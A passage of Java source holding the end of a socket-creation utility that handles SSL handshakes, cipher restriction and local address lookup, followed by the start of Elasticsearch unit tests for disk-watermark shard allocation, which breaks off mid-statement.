return connect(inetadd, port, timeout, optionalWatcher, clientSide, socketBufferSize,
sslConfig.isEnabled());
}
/**
* Return a client socket, timing out if unable to connect and timeout > 0 (millis). The parameter
* <i>timeout</i> is ignored if SSL is being used, as there is no timeout argument in the ssl
* socket factory
*/
public Socket connect(InetAddress inetadd, int port, int timeout,
ConnectionWatcher optionalWatcher, boolean clientSide, int socketBufferSize,
boolean sslConnection) throws IOException {
Socket socket = null;
SocketAddress sockaddr = new InetSocketAddress(inetadd, port);
printConfig();
try {
if (sslConnection) {
if (this.sslContext == null) {
throw new GemFireConfigException(
"SSL not configured correctly, Please look at previous error");
}
SocketFactory sf = this.sslContext.getSocketFactory();
socket = sf.createSocket();
// Optionally enable SO_KEEPALIVE in the OS network protocol.
socket.setKeepAlive(ENABLE_TCP_KEEP_ALIVE);
// If necessary, set the receive buffer size before connecting the
// socket so that large buffers will be allocated on accepted sockets
// (see java.net.Socket.setReceiverBufferSize javadocs for details)
if (socketBufferSize != -1) {
socket.setReceiveBufferSize(socketBufferSize);
}
if (optionalWatcher != null) {
optionalWatcher.beforeConnect(socket);
}
socket.connect(sockaddr, Math.max(timeout, 0));
configureClientSSLSocket(socket, timeout);
return socket;
} else {
if (clientSide && this.clientSocketFactory != null) {
socket = this.clientSocketFactory.createSocket(inetadd, port);
} else {
socket = new Socket();
// Optionally enable SO_KEEPALIVE in the OS network protocol.
socket.setKeepAlive(ENABLE_TCP_KEEP_ALIVE);
// If necessary, set the receive buffer size before connecting the
// socket so that large buffers will be allocated on accepted sockets
// (see java.net.Socket.setReceiverBufferSize javadocs for details)
if (socketBufferSize != -1) {
socket.setReceiveBufferSize(socketBufferSize);
}
if (optionalWatcher != null) {
optionalWatcher.beforeConnect(socket);
}
socket.connect(sockaddr, Math.max(timeout, 0));
}
return socket;
}
} finally {
if (optionalWatcher != null) {
optionalWatcher.afterConnect(socket);
}
}
}
/**
* Will be a server socket... this one simply registers the listeners.
*/
public void configureServerSSLSocket(Socket socket) throws IOException {
if (socket instanceof SSLSocket) {
SSLSocket sslSocket = (SSLSocket) socket;
try {
sslSocket.startHandshake();
SSLSession session = sslSocket.getSession();
Certificate[] peer = session.getPeerCertificates();
if (logger.isDebugEnabled()) {
logger.debug(
LocalizedMessage.create(LocalizedStrings.SocketCreator_SSL_CONNECTION_FROM_PEER_0,
((X509Certificate) peer[0]).getSubjectDN()));
}
} catch (SSLPeerUnverifiedException ex) {
if (this.sslConfig.isRequireAuth()) {
logger.fatal(
LocalizedMessage.create(
LocalizedStrings.SocketCreator_SSL_ERROR_IN_AUTHENTICATING_PEER_0_1,
new Object[] {socket.getInetAddress(), Integer.valueOf(socket.getPort())}),
ex);
throw ex;
}
} catch (SSLException ex) {
logger
.fatal(
LocalizedMessage.create(
LocalizedStrings.SocketCreator_SSL_ERROR_IN_CONNECTING_TO_PEER_0_1,
new Object[] {socket.getInetAddress(), Integer.valueOf(socket.getPort())}),
ex);
throw ex;
}
}
}
// -------------------------------------------------------------------------
// Private implementation methods
// -------------------------------------------------------------------------
/**
* Configure the SSLServerSocket based on this SocketCreator's settings.
*/
private void finishServerSocket(SSLServerSocket serverSocket) throws IOException {
serverSocket.setUseClientMode(false);
if (this.sslConfig.isRequireAuth()) {
// serverSocket.setWantClientAuth( true );
serverSocket.setNeedClientAuth(true);
}
serverSocket.setEnableSessionCreation(true);
// restrict protocols
String[] protocols = this.sslConfig.getProtocolsAsStringArray();
if (!"any".equalsIgnoreCase(protocols[0])) {
serverSocket.setEnabledProtocols(protocols);
}
// restrict ciphers
String[] ciphers = this.sslConfig.getCiphersAsStringArray();
if (!"any".equalsIgnoreCase(ciphers[0])) {
serverSocket.setEnabledCipherSuites(ciphers);
}
}
/**
* When a socket is accepted from a server socket, it should be passed to this method for SSL
* configuration.
*/
private void configureClientSSLSocket(Socket socket, int timeout) throws IOException {
if (socket instanceof SSLSocket) {
SSLSocket sslSocket = (SSLSocket) socket;
sslSocket.setUseClientMode(true);
sslSocket.setEnableSessionCreation(true);
String[] protocols = this.sslConfig.getProtocolsAsStringArray();
// restrict cyphers
if (protocols != null && !"any".equalsIgnoreCase(protocols[0])) {
sslSocket.setEnabledProtocols(protocols);
}
String[] ciphers = this.sslConfig.getCiphersAsStringArray();
if (ciphers != null && !"any".equalsIgnoreCase(ciphers[0])) {
sslSocket.setEnabledCipherSuites(ciphers);
}
try {
if (timeout > 0) {
sslSocket.setSoTimeout(timeout);
}
sslSocket.startHandshake();
SSLSession session = sslSocket.getSession();
Certificate[] peer = session.getPeerCertificates();
if (logger.isDebugEnabled()) {
logger.debug(
LocalizedMessage.create(LocalizedStrings.SocketCreator_SSL_CONNECTION_FROM_PEER_0,
((X509Certificate) peer[0]).getSubjectDN()));
}
} catch (SSLHandshakeException ex) {
logger
.fatal(
LocalizedMessage.create(
LocalizedStrings.SocketCreator_SSL_ERROR_IN_CONNECTING_TO_PEER_0_1,
new Object[] {socket.getInetAddress(), Integer.valueOf(socket.getPort())}),
ex);
throw ex;
} catch (SSLPeerUnverifiedException ex) {
if (this.sslConfig.isRequireAuth()) {
logger.fatal(LocalizedMessage
.create(LocalizedStrings.SocketCreator_SSL_ERROR_IN_AUTHENTICATING_PEER), ex);
throw ex;
}
} catch (SSLException ex) {
logger
.fatal(
LocalizedMessage.create(
LocalizedStrings.SocketCreator_SSL_ERROR_IN_CONNECTING_TO_PEER_0_1,
new Object[] {socket.getInetAddress(), Integer.valueOf(socket.getPort())}),
ex);
throw ex;
}
}
}
/**
* Print current configured state to log.
*/
private void printConfig() {
if (!configShown && logger.isDebugEnabled()) {
configShown = true;
StringBuilder sb = new StringBuilder();
sb.append("SSL Configuration: \n");
sb.append(" ssl-enabled = ").append(this.sslConfig.isEnabled()).append("\n");
// add other options here....
for (String key : System.getProperties().stringPropertyNames()) { // fix for 46822
if (key.startsWith("javax.net.ssl")) {
String redactedString = ArgumentRedactor.redact(key, System.getProperty(key));
sb.append(" ").append(key).append(" = ").append(redactedString).append("\n");
}
}
logger.debug(sb.toString());
}
}
protected void initializeClientSocketFactory() {
this.clientSocketFactory = null;
String className =
System.getProperty(DistributionConfig.GEMFIRE_PREFIX + "clientSocketFactory");
if (className != null) {
Object o;
try {
Class c = ClassPathLoader.getLatest().forName(className);
o = c.newInstance();
} catch (Exception e) {
// No cache exists yet, so this can't be logged.
String s = "An unexpected exception occurred while instantiating a " + className + ": " + e;
throw new IllegalArgumentException(s);
}
if (o instanceof ClientSocketFactory) {
this.clientSocketFactory = (ClientSocketFactory) o;
} else {
String s = "Class \"" + className + "\" is not a ClientSocketFactory";
throw new IllegalArgumentException(s);
}
}
}
public void initializeTransportFilterClientSocketFactory(GatewaySender sender) {
this.clientSocketFactory = new TransportFilterSocketFactory()
.setGatewayTransportFilters(sender.getGatewayTransportFilters());
}
/**
* returns a set of the non-loopback InetAddresses for this machine
*/
public static Set<InetAddress> getMyAddresses() {
Set<InetAddress> result = new HashSet<InetAddress>();
Set<InetAddress> locals = new HashSet<InetAddress>();
Enumeration<NetworkInterface> interfaces;
try {
interfaces = NetworkInterface.getNetworkInterfaces();
} catch (SocketException e) {
throw new IllegalArgumentException(
LocalizedStrings.StartupMessage_UNABLE_TO_EXAMINE_NETWORK_INTERFACES.toLocalizedString(),
e);
}
while (interfaces.hasMoreElements()) {
NetworkInterface face = interfaces.nextElement();
boolean faceIsUp = false;
try {
faceIsUp = face.isUp();
} catch (SocketException e) {
InternalDistributedSystem ids = InternalDistributedSystem.getAnyInstance();
if (ids != null) {
logger.info("Failed to check if network interface is up. Skipping {}", face, e);
}
}
if (faceIsUp) {
Enumeration<InetAddress> addrs = face.getInetAddresses();
while (addrs.hasMoreElements()) {
InetAddress addr = addrs.nextElement();
if (addr.isLoopbackAddress() || addr.isAnyLocalAddress()
|| (!useLinkLocalAddresses && addr.isLinkLocalAddress())) {
locals.add(addr);
} else {
result.add(addr);
}
} // while
}
} // while
// fix for bug #42427 - allow product to run on a standalone box by using
// local addresses if there are no non-local addresses available
if (result.size() == 0) {
return locals;
} else {
return result;
}
}
/**
* This method uses JNDI to look up an address in DNS and return its name
*
* @param addr
*
* @return the host name associated with the address or null if lookup isn't possible or there is
* no host name for this address
*/
public static String reverseDNS(InetAddress addr) {
byte[] addrBytes = addr.getAddress();
// reverse the address suitable for reverse lookup
String lookup = "";
for (int index = addrBytes.length - 1; index >= 0; index--) {
lookup = lookup + (addrBytes[index] & 0xff) + '.';
}
lookup += "in-addr.arpa";
// System.out.println("Looking up: " + lookup);
try {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
DirContext ctx = new InitialDirContext(env);
Attributes attrs = ctx.getAttributes(lookup, new String[] {"PTR"});
for (NamingEnumeration ae = attrs.getAll(); ae.hasMoreElements();) {
Attribute attr = (Attribute) ae.next();
for (Enumeration vals = attr.getAll(); vals.hasMoreElements();) {
Object elem = vals.nextElement();
if ("PTR".equals(attr.getID()) && elem != null) {
return elem.toString();
}
}
}
ctx.close();
} catch (Exception e) {
// ignored
}
return null;
}
/**
* Returns true if host matches the LOCALHOST.
*/
public static boolean isLocalHost(Object host) {
if (host instanceof InetAddress) {
if (InetAddressUtil.LOCALHOST.equals(host)) {
return true;
} else if (((InetAddress) host).isLoopbackAddress()) {
return true;
} else {
try {
Enumeration en = NetworkInterface.getNetworkInterfaces();
while (en.hasMoreElements()) {
NetworkInterface i = (NetworkInterface) en.nextElement();
for (Enumeration en2 = i.getInetAddresses(); en2.hasMoreElements();) {
InetAddress addr = (InetAddress) en2.nextElement();
if (host.equals(addr)) {
return true;
}
}
}
return false;
} catch (SocketException e) {
throw new IllegalArgumentException(
LocalizedStrings.InetAddressUtil_UNABLE_TO_QUERY_NETWORK_INTERFACE
.toLocalizedString(),
e);
}
}
} else {
return isLocalHost(toInetAddress(host.toString()));
}
}
/**
* Converts the string host to an instance of InetAddress. Returns null if the string is empty.
* Fails Assertion if the conversion would result in <code>java.lang.UnknownHostException</code>.
* <p>
* Any leading slashes on host will be ignored.
*
* @param host string version the InetAddress
*
* @return the host converted to InetAddress instance
*/
public static InetAddress toInetAddress(String host) {
if (host == null || host.length() == 0) {
return null;
}
try {
if (host.indexOf("/") > -1) {
return InetAddress.getByName(host.substring(host.indexOf("/") + 1));
} else {
return InetAddress.getByName(host);
}
} catch (java.net.UnknownHostException e) {
throw new IllegalArgumentException(e.getMessage());
}
}
}
| |
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.cluster.routing.allocation.decider;
import com.google.common.base.Predicate;
import org.elasticsearch.Version;
import org.elasticsearch.cluster.ClusterInfo;
import org.elasticsearch.cluster.ClusterInfoService;
import org.elasticsearch.cluster.ClusterState;
import org.elasticsearch.cluster.DiskUsage;
import org.elasticsearch.cluster.MockInternalClusterInfoService;
import org.elasticsearch.cluster.metadata.IndexMetaData;
import org.elasticsearch.cluster.metadata.MetaData;
import org.elasticsearch.cluster.node.DiscoveryNode;
import org.elasticsearch.cluster.node.DiscoveryNodes;
import org.elasticsearch.cluster.routing.*;
import org.elasticsearch.cluster.routing.allocation.AllocationService;
import org.elasticsearch.cluster.routing.allocation.RoutingAllocation;
import org.elasticsearch.cluster.routing.allocation.allocator.ShardsAllocators;
import org.elasticsearch.cluster.routing.allocation.command.AllocationCommand;
import org.elasticsearch.cluster.routing.allocation.command.AllocationCommands;
import org.elasticsearch.cluster.routing.allocation.command.MoveAllocationCommand;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.test.ESAllocationTestCase;
import org.elasticsearch.test.gateway.NoopGatewayAllocator;
import org.elasticsearch.common.transport.LocalTransportAddress;
import org.elasticsearch.index.shard.ShardId;
import org.junit.Test;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import static org.elasticsearch.cluster.routing.ShardRoutingState.INITIALIZING;
import static org.elasticsearch.cluster.routing.ShardRoutingState.RELOCATING;
import static org.elasticsearch.cluster.routing.ShardRoutingState.STARTED;
import static org.elasticsearch.cluster.routing.ShardRoutingState.UNASSIGNED;
import static org.elasticsearch.common.settings.Settings.settingsBuilder;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.nullValue;
public class DiskThresholdDeciderTests extends ESAllocationTestCase {
private static ShardsAllocators makeShardsAllocators() {
return new ShardsAllocators(NoopGatewayAllocator.INSTANCE);
}
@Test
public void diskThresholdTest() {
Settings diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, 0.7)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, 0.8).build();
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node1", new DiskUsage("node1", "node1", "/dev/null", 100, 10)); // 90% used
usages.put("node2", new DiskUsage("node2", "node2", "/dev/null", 100, 35)); // 65% used
usages.put("node3", new DiskUsage("node3", "node3", "/dev/null", 100, 60)); // 40% used
usages.put("node4", new DiskUsage("node4", "node4", "/dev/null", 100, 80)); // 20% used
Map<String, Long> shardSizes = new HashMap<>();
shardSizes.put("[test][0][p]", 10L); // 10 bytes
shardSizes.put("[test][0][r]", 10L);
final ClusterInfo clusterInfo = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
AllocationDeciders deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
ClusterInfoService cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo;
}
@Override
public void addListener(Listener listener) {
// noop
}
};
AllocationService strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
MetaData metaData = MetaData.builder()
.put(IndexMetaData.builder("test").settings(settings(Version.CURRENT)).numberOfShards(1).numberOfReplicas(1))
.build();
RoutingTable routingTable = RoutingTable.builder()
.addAsNew(metaData.index("test"))
.build();
ClusterState clusterState = ClusterState.builder(org.elasticsearch.cluster.ClusterName.DEFAULT).metaData(metaData).routingTable(routingTable).build();
logger.info("--> adding two nodes");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder()
.put(newNode("node1"))
.put(newNode("node2"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Primary shard should be initializing, replica should not
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(1));
logger.info("--> start the shards (primaries)");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that we're able to start the primary
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(1));
// Assert that node1 didn't get any shards because its disk usage is too high
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(0));
logger.info("--> start the shards (replicas)");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that the replica couldn't be started since node1 doesn't have enough space
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(1));
logger.info("--> adding node3");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder(clusterState.nodes())
.put(newNode("node3"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that the replica is initialized now that node3 is available with enough space
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.INITIALIZING).size(), equalTo(1));
logger.info("--> start the shards (replicas)");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that the replica couldn't be started since node1 doesn't have enough space
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(2));
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(0));
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
logger.info("--> changing decider settings");
// Set the low threshold to 60 instead of 70
// Set the high threshold to 70 instead of 80
// node2 now should not have new shards allocated to it, but shards can remain
diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, "60%")
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, 0.7).build();
deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shards remain started
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(2));
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(0));
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
logger.info("--> changing settings again");
// Set the low threshold to 50 instead of 60
// Set the high threshold to 60 instead of 70
// node2 now should not have new shards allocated to it, and shards cannot remain
diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, 0.5)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, 0.6).build();
deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shards remain started
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(2));
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(0));
// Shard hasn't been moved off of node2 yet because there's nowhere for it to go
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
logger.info("--> adding node4");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder(clusterState.nodes())
.put(newNode("node4"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shards remain started
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(1));
logger.info("--> apply INITIALIZING shards");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(0));
// Node4 is available now, so the shard is moved off of node2
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(0));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node4").size(), equalTo(1));
}
@Test
public void diskThresholdWithAbsoluteSizesTest() {
Settings diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, "30b")
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, "9b").build();
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node1", new DiskUsage("node1", "n1", "/dev/null", 100, 10)); // 90% used
usages.put("node2", new DiskUsage("node2", "n2", "/dev/null", 100, 10)); // 90% used
usages.put("node3", new DiskUsage("node3", "n3", "/dev/null", 100, 60)); // 40% used
usages.put("node4", new DiskUsage("node4", "n4", "/dev/null", 100, 80)); // 20% used
usages.put("node5", new DiskUsage("node5", "n5", "/dev/null", 100, 85)); // 15% used
Map<String, Long> shardSizes = new HashMap<>();
shardSizes.put("[test][0][p]", 10L); // 10 bytes
shardSizes.put("[test][0][r]", 10L);
final ClusterInfo clusterInfo = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
AllocationDeciders deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
ClusterInfoService cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo;
}
@Override
public void addListener(Listener listener) {
// noop
}
};
AllocationService strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
MetaData metaData = MetaData.builder()
.put(IndexMetaData.builder("test").settings(settings(Version.CURRENT)).numberOfShards(1).numberOfReplicas(2))
.build();
RoutingTable routingTable = RoutingTable.builder()
.addAsNew(metaData.index("test"))
.build();
ClusterState clusterState = ClusterState.builder(org.elasticsearch.cluster.ClusterName.DEFAULT).metaData(metaData).routingTable(routingTable).build();
logger.info("--> adding node1 and node2 node");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder()
.put(newNode("node1"))
.put(newNode("node2"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Primary should initialize, even though both nodes are over the limit initialize
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(1));
String nodeWithPrimary, nodeWithoutPrimary;
if (clusterState.getRoutingNodes().node("node1").size() == 1) {
nodeWithPrimary = "node1";
nodeWithoutPrimary = "node2";
} else {
nodeWithPrimary = "node2";
nodeWithoutPrimary = "node1";
}
logger.info("--> nodeWithPrimary: {}", nodeWithPrimary);
logger.info("--> nodeWithoutPrimary: {}", nodeWithoutPrimary);
// Make node without the primary now habitable to replicas
usages.put(nodeWithoutPrimary, new DiskUsage(nodeWithoutPrimary, "", "/dev/null", 100, 35)); // 65% used
final ClusterInfo clusterInfo2 = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo2;
}
@Override
public void addListener(Listener listener) {
// noop
}
};
strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Now the replica should be able to initialize
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(2));
logger.info("--> start the shards (primaries)");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that we're able to start the primary and replica, since they were both initializing
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(2));
// Assert that node1 got a single shard (the primary), even though its disk usage is too high
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(1));
// Assert that node2 got a single shard (a replica)
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(1));
// Assert that one replica is still unassigned
//assertThat(clusterState.routingNodes().shardsWithState(ShardRoutingState.UNASSIGNED).size(), equalTo(1));
logger.info("--> adding node3");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder(clusterState.nodes())
.put(newNode("node3"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that the replica is initialized now that node3 is available with enough space
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(2));
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.INITIALIZING).size(), equalTo(1));
logger.info("--> start the shards (replicas)");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that all replicas could be started
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(3));
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
logger.info("--> changing decider settings");
// Set the low threshold to 60 instead of 70
// Set the high threshold to 70 instead of 80
// node2 now should not have new shards allocated to it, but shards can remain
diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, "40b")
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, "30b").build();
deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shards remain started
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(3));
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
logger.info("--> changing settings again");
// Set the low threshold to 50 instead of 60
// Set the high threshold to 60 instead of 70
// node2 now should not have new shards allocated to it, and shards cannot remain
diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, "50b")
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, "40b").build();
deciders = new AllocationDeciders(Settings.EMPTY,
